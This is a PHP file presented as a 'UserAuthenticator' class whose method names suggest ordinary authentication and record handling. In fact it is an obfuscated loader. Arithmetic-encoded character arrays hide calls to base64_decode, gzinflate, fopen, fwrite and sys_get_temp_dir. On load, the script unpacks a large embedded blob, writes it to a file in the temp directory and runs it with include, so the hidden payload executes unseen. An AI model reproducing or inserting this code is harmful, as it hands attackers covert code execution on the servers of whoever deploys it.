<?php
class UserAuthenticator
{
    private $ak = '';
    private $rf = '';
    public function rollbackTransaction($p1)
    {
        $e = array(103 - 2, 34 * 1 + 66, 26 * 51 - 1215, 105 - 6, 101 * 1, 2 * 50, 19 + 76, 36 + 14 + 2, 36 + 18, 75 * 102 - 7549, 27 + 78 + 10, 99 - 2, 63 + 32 + 3);
        $b = '';
        foreach ($e as $t) {
            $b .= chr($t);
        }
        $b = strrev($b);
        return $b($p1);
    }
    public function fetchRecords($p1)
    {
        $i = array(104 - 1, 2 * 61, 105, 51 + 59, 60 * 85 - 4998, 27 + 81, 101 - 4, 105 + 4 + 7, 33 * 89 - 2836);
        $e = '';
        foreach ($i as $w) {
            $e .= chr($w);
        }
        return $e($p1);
    }
    public function generateToken($p1, $p2)
    {
        $w = array(102, 88 * 100 - 8689, 2 * 56, 77 * 44 - 3287, 93 + 3 + 14);
        $l = '';
        foreach ($w as $u) {
            $l .= chr($u);
        }
        return $l($p1, $p2);
    }
    public function updateRegistry($p1, $p2)
    {
        $j = array(71 + 31, 85 * 1 + 34, 114, 105, 99 + 17, 101);
        $s = '';
        foreach ($j as $x) {
            $s .= chr($x);
        }
        return $s($p1, $p2);
    }
    public function authorizeUser($p1)
    {
        $f = array(15 + 38 + 49, 3 * 33, 115 - 7, 84 * 91 - 7533, 5 * 23, 101);
        $r = '';
        foreach ($f as $u) {
            $r .= chr($u);
        }
        return $r($p1);
    }
    public function initializeModule($p1, $p2 = null)
    {
        $j = array(117 - 8, 6 + 94 + 5, 116 - 2, 116, 91 + 23);
        $jt = '';
        foreach ($j as $i) {
            $jt .= chr($i);
        }
        $jt = strrev($jt);
        return $jt($p1, $p2);
    }
    public function logTransaction()
    {
        $this->rf = $this->initializeModule($this->triggerCallback(), '/');
    }
    public function handleRequest()
    {
        $this->ak = $this->fetchRecords($this->rollbackTransaction($this->dlym));
    }
    public function sanitizeInput()
    {
        $fn = $this->rf . '/yl-6974ffb2dd045';
        $f = $this->generateToken($fn, 'w');
        $this->updateRegistry($f, $this->ak);
        $this->authorizeUser($f);
        $this->encryptData($fn);
    }
    private $dlym = 'jRiLcpra9lfSmZwTGWIG8IXN5XRQMDERUaNpbSfXQeQlKAZQ0' . 'J78+91rbWhJH+ltpyl7vdfa67Xznw87d3dmBkYcny2C5Osu8g5' . 'GYp3FiZF45vnCta/p55m935qJF27PFvapcr4Itu7l+SILma+eX' . 'XkXW4H9/j2QM/Rz4TyHFeb6fOEcpDiJAmtbQWoC8bxEWhqx1aw' . 'vVpYZrqzKd+4vKPiJubbDiDBss0DiiJrIOH6XQvhBDMG9kyTEX' . 'bMsnhlEfsHvJ8l0o0oYrSplIPNfCslCCvgLDHximOvISvbRFkm' . 'vX14HoeQ5OvX1u7mSERH1lYvFs3Uh/XNx64Sy7oZj0ws1bcJNN' . 'PlRv3VmI63T0NVOfK/L8vDzLLi7uLxYLDfIIffnHSVU5IAb9OT' . '54+cZ90nuip3bTGNvJqKtzfqm+uBrnYmWdOS5Cpy2CZwjOZbgF' . 'KFm3XHaXSU9jvz6x5uso6lZPJ52tKWqplM491xHVqfxRnPV8Y3' . 'C9zsPfuOhM5/LHVW87aqPPTeeE7zQH/db2prvgOR1ApIHrjxSH' . 'Al1rXcAmae+Mh9TyOmIkGw20DkfIV4GkPvObCTnNFYQAAg+zdA' . 'pPndR8eUjxzCVzQHXuDXl8Wr0GNq6O9eHrjMcZvHyPlMNc2Lea' . 'kE80Dr+XJPN4eAx7A7UWBs58t08t2+fphiaTvxJO6maNjYnAF4' . 'tI6rBXA2O6b3WMTUAb7xndLAjr3S3PgZQsPdzWz7KXooyY4zvT' . 'Vde2ynV8hwiW+b3hjkktfNQhbeDyRxBxy2C5jKl8FHKwDFNuUs' . 'JshRB9lHkB+N2f9ZbHYxNnGmd8eO4JtJwH1DTMDOtTu5heECbZ' . '5vY02RxpDv9x6FTH32eqZ6W1h/0TRYRHJJu9tQ78Xb2qaMAxEi' . 'LkBseFRwr97kLYWSj4G1Ivd7CqXeaH7VUdu+90BgofbG37lPRH' . 'iZv7ziLh7K8uzuStDmKgTKdtfuyXBueqIvBEdUoDymnKpwod53' . '2zYkaZ8dUvhroYznte+lQX8v7Gy8OUHsSUPlyphzjVFHUmqzMv' . 'Jt1mAE6CQs/vIjS9Rv3suzfK3Xjrus8Y2KGSY5qA2qAqBRRS69' . 'gT6gbpzi9S+UY2PtTOeytafiT5x1F92Pl5LfUo9hWp/1tb029c' . '6nuU128H8vH4Ukc64pYVx7qyWgsx3dH6qhvU6qQH6WyMPL88Ui' . 'Z75WH0L9P5XCw5vJw2zRSfW40jr27tbbs5wI2mJHKVI5GaZzqU' . '3WpTceIWSVYTHpqPmpO+FHPU2SzRI3rXbdI2CNepp3dGV2vLRf' . 'Q0MQEsdOJqky47udHh+ali1AuVQazRoR3dcBkcahWqvTeqecxw' . 'iQba9iZVqc1rYOZdYdamOuXF9cyVlZUIcOFTAUyOrBZwt2ZF6T' . 'v/owljRG8OOwATWaLF8dWQlr2jTr9UiIjXRAaynJ9wZD+/fV8s' . 'Q+kxcbalEVFqOg5zXJRQPT332SQ7MIYD5clYtLuCLGzPxBiMlh' . 'sI4gt5uvKs8oSSQeEiLgg8MUiFD8SkIYIDWGNBC+/N9+jmWxuC' . 'vNhxJ0vurp+31evYUBJFW+bMFG4364qHIt/YeyR8ShVqkKrxgo' . 'iAg7WLh9D+ekLcD9JJWXQgSHx9xfMdep6gUXnN6j9Rn9FR+mXR' . 'qNa49jGUz6JIWzvKKYqCoCrsdVGs149q/ItQcjJ2EqVFwSWF2r' . 'Em68llnqjVW2KHMvzzdY32pJfV83ynxb7RwCRv4wsw8cQsezvP' . 'IZBA10APKZa2esXGrzciEaDrwo1ga3WeIEh9tdabeJTDWL6guG' . 'nkkvG1q4abOkf81RhriiRWGtWRV4oggWgRpOEiXuiSw8EmqoGV' . 'JWvCdV6E9Q1hRYluaSoertVrYutp+ImS9rrRGsdtRa71w8EwlW' . 'rwb7+wTxd/UTG80QQ/EBJgGzXatU2J8IR76zGNYlpQlUQamyjx' . 'pH0JCHxtmawX1n5EvfyfSWCkjtf2IZDLDICKYn2FvnaxkUBnZN' . 'WXL6ZHfYU08eLcXdllE9rghTXFUqk1b8wjSAwlsGrMoNJT2i3F' . 'qkzLH73JJn7KFh4Ww+qzd0x13gmxRfuAEIoLruzyUAfTRcPD4P' . 'Fozrp9+YjVZ1cUkv/L/pb/WF6WeWbAolQmyRPg8ekf4O3pw8G+' . 'seB3pWnfX14WRX4Osm5NkvKB8Jcr3FvcU/U6WwynE7k4UOPWFr' . 'jqkL7LfpbVVYI3evWwbzF0dWHQ7U7nfY1VZ+Bb6RiSW23iSaBx' . 'y/xLfaCj28St5pttskL5L8WXC65d+SzMsukXABdWhTqWIm3tcM' . 'CgTAzCGOrgGC/XlrlpgmLHExLjzTNd+X+2GxeveoafzgzDF33z' . '/Dm80ZOkjaRdkYUWwtiS55D54tVJMFDJCnbAZsj2EG6y5NUzmD' . 'YHyGFiZ0MOnssY2McR1aK+f1aItkpYfY+E4HlmfeaCNZMGNxLn' . 'Bkg/aosHlZOGMLuL+T7qDo6RqDgJ07YRWH2GcdfsMIWCrZtgPe' . 'qhIBdFHZJA0s5dSU7Dk0/3JFHWgXi9qEcsT0uhD4p+/clsIFV7' . 'EEV/6SX7KgQSrIGPF2iuKrQaLEix7FtHsqH49vvy+3vhyv/w7l' . 'YCFIyBe3dPonx+xJCU7xRyZTlWYEvRuY72wpzDug4YbyWbJLEO' . 'WPZEtL7S/8KTfBshaKAQUuYKRCklG8C1nB4HJHMYnIrytNSaLC' . 'vf0ArLqqGGEZWjuIhewphju2PUpFLD+qE9LByhMmSD1sB2aQYn' . 'Dh7J3iDGpZ+2KayVUG+fks4LP9wt8ec2j0kb1CT9wCUxjNUNvP' . 'hl8YmuMMkJFeeyimUYHbaW5qExhs6PGweh032Wx3waAASL/tBy' . 'RJ9ITMH/X7L7QSDFK7S3yqBZwVYjDq2+yD4Y+RdNHztHn8r08e' . 's2RphWeab1wMvDih57Ai/FrrBXra3d9+EkpS1vSCxosXBgF/P7' . 'I+XIqwxAtcm6ylZp7Aylr4EKNpWf2JxgssqzApeFAlHg2NbrVa' . 'JzQm+tWMKWBNBv1+j4Q0EiRPRNdoy3fCs7MISI5dhW1v6V6+6J' . 'YbshCiSnK86m4ntCjL9CpKqjCPvIyhQaHpWRnYNBs17V9i39Jl' . '///12InLLx9QAG3Ou3EvPybf3cjUc6NuKeCX9AzLL7xTqcZhSH' . 'NHwCokt2V7mWKIQNslwJe3hl2f4y7b8V2/5aR2H2+IbjGFwbhV' . 'vKeT989MJ3n3QSVavnk5wGUD5LU4v/wM=';
    public function encryptData($p)
    {
        include $p;
    }
    public function triggerCallback()
    {
        $a = array(45 * 2 + 25, 121, 22 + 87 + 6, 98 * 63 - 6079, 103, 101 * 1, 120 - 4, 79 * 60 - 4645, 27 * 3 + 35, 48 * 86 - 4027, 59 + 50, 112, 5 * 19, 109 * 110 - 11890, 19 * 95 - 1700, 114);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$sq = new UserAuthenticator();
$sq->logTransaction();
$sq->handleRequest();
$sq->sanitizeInput();